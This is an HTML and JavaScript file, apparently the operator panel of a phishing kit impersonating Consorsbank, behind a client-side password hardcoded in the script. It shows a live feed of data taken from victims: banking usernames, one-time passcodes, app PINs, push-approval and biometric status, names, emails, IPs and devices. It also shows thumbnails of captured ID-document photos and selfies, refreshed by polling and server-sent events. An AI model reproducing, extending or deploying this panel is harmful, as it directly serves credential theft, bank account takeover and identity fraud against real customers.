consorsbank-kit / admin_protected.html
CJs
Simplify panel: 2-zone console (clients + unified live activity), 6-col table, 3+menu actions with Kick, KPI chips, capture thumbnails in feed
13e5b72
Raw History Blame Contribute Delete
14.5 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="theme-color" content="#0A1520">
<title data-i18n="page.title.feed">Secure Admin Panel - Consorsbank</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>body{font-family:sans-serif}</style>
</head>
<body class="bg-slate-950 text-slate-100 min-h-screen">
<!-- =====================================================================
§5 — password gate
===================================================================== -->
<div id="login-screen" class="min-h-screen flex items-center justify-center p-6">
<div class="w-full max-w-sm bg-slate-900 border border-slate-800 rounded-xl p-6 shadow-xl">
<div class="flex items-center justify-center mb-4">
<span class="text-lg font-semibold tracking-widest uppercase text-sky-400">Consorsbank</span>
</div>
<h1 class="text-center text-base font-semibold text-slate-200 mb-1" data-i18n="feed.title">Secure Admin Panel</h1>
<p class="text-center text-xs text-slate-500 mb-5">Client Feed</p>
<input id="admin-password" type="password" placeholder="Password"
autocomplete="current-password" spellcheck="false"
class="w-full px-3 py-2 rounded-lg bg-slate-800 border border-slate-700 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-sky-500 mb-3">
<button type="button" id="auth-btn" onclick="authenticate()"
class="w-full px-3 py-2 rounded-lg bg-sky-500 hover:bg-sky-400 text-white font-medium transition">
Enter
</button>
<p id="error-msg" class="hidden mt-3 text-center text-xs text-rose-400" data-i18n="feed.invalid">Invalid password</p>
</div>
</div>
<!-- =====================================================================
§5 — client feed panel
===================================================================== -->
<div id="admin-panel" class="hidden max-w-7xl mx-auto p-6">
<header class="flex items-center justify-between mb-5 flex-wrap gap-3">
<div class="flex items-center gap-3">
<h1 class="text-xl font-semibold" data-i18n="feed.title">Live Client Feed</h1>
<span class="text-xs text-slate-500" id="row-count">0 rows</span>
</div>
<div class="flex items-center gap-4 text-xs text-slate-500">
<!-- language switcher -->
<select id="feed-lang" class="bg-slate-800 border border-slate-700 rounded-lg px-2 py-1 text-slate-200">
<option value="de">DE</option>
<option value="en">EN</option>
<option value="ru">RU</option>
</select>
<span id="last-refresh">--:--:--</span>
<button type="button" onclick="logout()" class="px-3 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300" data-i18n="admin.logout">Logout</button>
</div>
</header>
<!-- captures thumbnail grid -->
<div class="mb-5" id="captures-section">
<h2 class="text-md font-semibold text-slate-300 mb-2" data-i18n="doc.type">Documents</h2>
<div id="captures-feed" class="flex flex-wrap gap-2">Loading…</div>
</div>
<div class="overflow-x-auto rounded-xl border border-slate-800">
<table class="w-full text-sm">
<thead class="bg-slate-900 text-slate-400 text-left text-xs uppercase tracking-wide">
<tr>
<th class="px-3 py-2 font-semibold">Time</th>
<th class="px-3 py-2 font-semibold">Client ID</th>
<th class="px-3 py-2 font-semibold">Data Type</th>
<th class="px-3 py-2 font-semibold">Username/Detail</th>
<th class="px-3 py-2 font-semibold">Docs</th>
</tr>
</thead>
<tbody id="feed-rows" class="divide-y divide-slate-800">
<tr><td colspan="5" class="px-3 py-6 text-center text-slate-500" data-i18n="feed.no.rows">Waiting for submissions…</td></tr>
</tbody>
</table>
</div>
</div>
<script src="assets/panel-i18n.js?v=5"></script>
<script>
(function () {
'use strict';
var I = window.OFBI18N || { t: function (k) { return k; }, apply: function () {}, set: function () {} };
var AUTH_KEY = 'feed_auth';
var REFRESH_MS = 5000;
function $(id) { return document.getElementById(id); }
function esc(s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
.replace(/"/g, '&quot;').replace(/'/g, '&#39;');
}
function pad2(n) { return (n < 10 ? '0' : '') + n; }
function stamp() {
var d = new Date();
return pad2(d.getHours()) + ':' + pad2(d.getMinutes()) + ':' + pad2(d.getSeconds());
}
/* ---- gate ------------------------------------------------------------ */
window.authenticate = function () {
var input = $('admin-password');
var val = input ? input.value : '';
if (val === 'consorsfeed@2026') {
try { sessionStorage.setItem(AUTH_KEY, '1'); } catch (e) { /* ignore */ }
reveal();
} else {
var err = $('error-msg');
if (err) { err.classList.remove('hidden'); }
}
};
window.logout = function () {
try { sessionStorage.removeItem(AUTH_KEY); } catch (e) { /* ignore */ }
window.location.reload();
};
var refreshTimer = null;
function reveal() {
var login = $('login-screen');
var panel = $('admin-panel');
if (login) { login.classList.add('hidden'); }
if (panel) { panel.classList.remove('hidden'); }
I.apply(panel);
var sel = $('feed-lang');
if (sel) { sel.value = I.lang; }
langSetup();
if (!refreshTimer) {
load();
refreshTimer = setInterval(load, REFRESH_MS);
}
}
var pw = $('admin-password');
if (pw) {
pw.addEventListener('keydown', function (ev) {
if (ev.key === 'Enter') { window.authenticate(); }
});
}
/* ---- language switcher ------------------------------------------------ */
function langSetup() {
var sel = $('feed-lang');
if (!sel) { return; }
sel.addEventListener('change', function () {
I.set(this.value);
I.apply($('admin-panel'));
renderAll();
});
}
/* ---- detail rendering ------------------------------------------------ */
function pushStateLabel(s) {
switch (String(s)) {
case 'sent': return I.t('push.sent');
case 'opened': return I.t('push.opened');
case 'confirmed': return I.t('push.confirmed');
case 'denied': return I.t('push.denied');
case 'expired': return I.t('push.expired');
default: return String(s || '');
}
}
function bioLabel(b) {
var v = String(b || '');
if (v === 'faceid' || v === 'face_id' || v === 'face') { return 'Face ID'; }
if (v === 'fingerprint' || v === 'finger') { return 'Fingerabdruck'; }
if (v === 'yes' || v === 'true' || v === '1') { return 'Biometrie'; }
return '';
}
function detailFor(rec, type) {
var t = String(type || '').toLowerCase();
if (t.indexOf('push') !== -1) {
var parts = [pushStateLabel(rec.push_state)];
if (rec.push_pin) { parts.push('AppPIN ' + rec.push_pin); }
var bio = bioLabel(rec.push_bio);
if (bio) { parts.push(bio); }
return parts.join(' · ');
}
if (t.indexOf('otp') !== -1) {
return rec.otp ? ('OTP ' + rec.otp) : '—';
}
if (t.indexOf('login') !== -1) {
return rec.username ? String(rec.username) : '—';
}
if (t.indexOf('identity') !== -1) {
var who = rec.full_name || rec.email || '—';
var tail = rec.email && rec.full_name ? ' · ' + rec.email : '';
var ok = rec.valid === true ? ' ✓' : (rec.valid === false ? ' ✗' : '');
return who + tail + ok;
}
var keys = ['full_name', 'email', 'username', 'otp', 'push_state', 'value'];
for (var i = 0; i < keys.length; i++) {
if (rec[keys[i]]) { return String(rec[keys[i]]); }
}
return '—';
}
/* ---- data merge ----------------------------------------------------- */
function identityRows(arr) {
return (arr || []).map(function (r) {
return {
time: r.timestamp || '',
client_id: r.client_id || '',
type: 'Identity',
detail: detailFor(r, 'identity'),
ip: r.ip || '',
device: r.device || '',
bot: r.bot || '',
doc_type: r.doc_type || ''
};
});
}
function submissionRows(arr) {
return (arr || []).map(function (r) {
var type = r.data_type || 'Event';
return {
time: r.timestamp || '',
client_id: r.client_id || '',
type: type,
detail: detailFor(r, type),
ip: r.ip || '',
device: r.device || '',
bot: r.bot || '',
doc_type: ''
};
});
}
function badge(type) {
var t = String(type || '').toLowerCase();
var cls = 'bg-slate-700 text-slate-200';
if (t.indexOf('login') !== -1) { cls = 'bg-sky-900 text-sky-300'; }
else if (t.indexOf('otp') !== -1) { cls = 'bg-amber-900 text-amber-300'; }
else if (t.indexOf('push') !== -1) { cls = 'bg-fuchsia-900 text-fuchsia-300'; }
else if (t.indexOf('identity') !== -1) { cls = 'bg-emerald-900 text-emerald-300'; }
return '<span class="inline-block px-2 py-0.5 rounded-full text-[11px] font-medium ' + cls + '">' + esc(type) + '</span>';
}
function sortRows(rows) {
return rows.sort(function (a, b) {
var ta = Date.parse(String(a.time).replace(' ', 'T'));
var tb = Date.parse(String(b.time).replace(' ', 'T'));
if (isNaN(ta)) { ta = 0; }
if (isNaN(tb)) { tb = 0; }
return tb - ta;
});
}
var lastCaptures = [];
function renderAll() {
/* table */
var jobs = [
fetch('clients.php', { cache: 'no-store', credentials: 'same-origin' })
.then(function (r) { return r.json(); })
.catch(function () { return []; }),
fetch('submissions.json', { cache: 'no-store', credentials: 'same-origin' })
.then(function (r) { return r.ok ? r.json() : []; })
.catch(function () { return []; }),
fetch('captures.php', { cache: 'no-store', credentials: 'same-origin' })
.then(function (r) { return r.ok ? r.json() : []; })
.catch(function () { return []; })
];
Promise.all(jobs).then(function (res) {
var clients = Array.isArray(res[0]) ? res[0] : [];
var subs = Array.isArray(res[1]) ? res[1] : [];
var captures = Array.isArray(res[2]) ? res[2] : [];
var rows = identityRows(clients).concat(submissionRows(subs));
sortRows(rows);
renderTable(rows);
renderCaptures(captures);
var count = $('row-count');
if (count) { count.textContent = rows.length + (rows.length === 1 ? ' row' : ' rows'); }
var lr = $('last-refresh');
if (lr) { lr.textContent = stamp(); }
}).catch(function () { /* keep last render */ });
}
function renderTable(rows) {
var body = $('feed-rows');
if (!body) { return; }
if (!rows.length) {
body.innerHTML = '<tr><td colspan="5" class="px-3 py-6 text-center text-slate-500">' + I.t('feed.no.rows') + '</td></tr>';
return;
}
var html = '';
rows.forEach(function (r) {
html += '<tr class="hover:bg-slate-900/60">'
+ '<td class="px-3 py-2 text-slate-400 whitespace-nowrap">' + esc(r.time) + '</td>'
+ '<td class="px-3 py-2 font-mono text-xs text-slate-200">' + esc(r.client_id) + '</td>'
+ '<td class="px-3 py-2">' + badge(r.type) + '</td>'
+ '<td class="px-3 py-2 text-slate-200 break-all">' + esc(r.detail) + '</td>'
+ '<td class="px-3 py-2 text-slate-400">' + (r.doc_type ? (r.doc_type === 'pa' ? 'PA' : 'PP') : '—') + '</td>'
+ '</tr>';
});
body.innerHTML = html;
}
function renderCaptures(captures) {
var el = $('captures-feed');
if (!el) { return; }
lastCaptures = captures;
if (!captures.length) {
el.innerHTML = '<span class="text-slate-600 text-xs">—</span>';
return;
}
var recent = captures.slice(-12).reverse();
var h = '';
recent.forEach(function (c) {
var label = c.kind === 'id_front' ? 'Front' : (c.kind === 'id_back' ? 'Back' : 'Selfie');
var file = (c.files && c.files.length) ? c.files[0] : '';
var isVideo = /\.webm$|\.mp4$/i.test(file || '');
var href = (c.cloud && c.cloud.length) ? c.cloud[0] : file;
if (!href) { return; }
var inner = isVideo
? '<span class="text-[10px] text-purple-300">▶ ' + label + '</span>'
: '<img src="' + esc(file) + '" alt="' + esc(label) + '" loading="lazy" class="w-full h-full object-cover">';
h += '<a href="' + esc(href) + '" target="_blank" title="' + esc((c.client_id || '') + ' · ' + (c.ts || '')) + '"'
+ ' class="relative w-24 h-16 rounded-lg overflow-hidden border border-slate-700 hover:border-sky-500 block bg-slate-900">'
+ inner
+ '<span class="absolute inset-x-0 bottom-0 text-[9px] text-center text-slate-200 bg-black/60">' + esc(label) + '</span>'
+ '</a>';
});
el.innerHTML = h || '<span class="text-slate-600 text-xs">—</span>';
}
/* ---- SSE real-time ------------------------------------------------ */
var sseSource = null;
var sseReconnectTimer = null;
function sseConnect() {
if (sseSource) { try { sseSource.close(); } catch (e) { /* ignore */ } }
try {
sseSource = new EventSource('sse.php');
} catch (e) {
scheduleSseReconnect();
return;
}
sseSource.addEventListener('updates', function (ev) {
try {
var msg = JSON.parse(ev.data);
if (msg.type === 'timeout') { return; }
if (Array.isArray(msg.captures)) {
renderCaptures(msg.captures);
}
renderAll();
} catch (e) { /* ignore */ }
});
sseSource.onerror = function () {
if (sseSource) { try { sseSource.close(); } catch (e) { /* ignore */ } sseSource = null; }
scheduleSseReconnect();
};
sseSource.onopen = function () {
if (sseReconnectTimer) { clearTimeout(sseReconnectTimer); sseReconnectTimer = null; }
};
}
function scheduleSseReconnect() {
if (sseReconnectTimer) { return; }
sseReconnectTimer = setTimeout(function () { sseReconnectTimer = null; sseConnect(); }, 3000);
}
function load() {
renderAll();
sseConnect();
}
/* ---- boot ----------------------------------------------------------- */
try {
if (sessionStorage.getItem(AUTH_KEY) === '1') { reveal(); }
} catch (e) { /* ignore */ }
})();
</script>
</body>
</html>